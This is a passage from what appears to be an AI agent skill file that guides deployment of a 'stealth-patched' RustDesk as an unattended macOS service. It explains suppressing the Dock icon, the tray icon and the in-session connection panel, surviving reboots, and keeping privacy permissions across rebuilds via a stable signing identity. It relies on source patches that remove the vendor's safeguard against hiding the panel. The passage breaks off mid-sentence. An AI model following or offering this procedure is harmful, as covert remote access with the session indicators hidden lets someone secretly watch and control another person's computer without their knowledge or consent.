deploy-stealth-rustdesklisted

# Deploy stealth RustDesk as an unattended macOS service Install a **stealth-patched, signed `RustDesk.app`** as an always-on service: unattended remote access with three stealth surfaces suppressed — the **Dock icon**, the **menu-bar (tray) icon**, and the **CM panel** (the connection-management window that floats top-right during a session) — while remote **keyboard** works, surviving reboot with nobody logged in. **Precondition — the app must come from `build-stealth-rustdesk`.** This skill deploys a bundle that already has the `tray.rs` / `window_manager` / `ipc.rs` patches compiled in and is codesigned. A stock RustDesk will **not** work here: its CM panel can't be hidden (the Pro/custom-client gate is still compiled in), and an `hide-tray=Y` custom-client build springs the **daemon trap** (LaunchDaemon outside the GUI session → dead remote keyboard, [rustdesk#10709](https://github.com/rustdesk/rustdesk/issues/10709)). Two build-time facts this skill leans on: - **`ipc.rs` gate removal** — makes Step 2's three hide-CM options actually take effect; on a stock build they are silently ignored. - **Signing identity** — if the app was ad-hoc signed, the Step 3 TCC grants break on every rebuild (`Connected, waiting for image`); a stable self-signed identity makes them survive. See `build-stealth-rustdesk` → Codesign / "Stable signing identity". A non-visual essential of its own: the agent's `KeepAlive` must be forced to always-restart (Step 1), or a clean exit (e.g. closin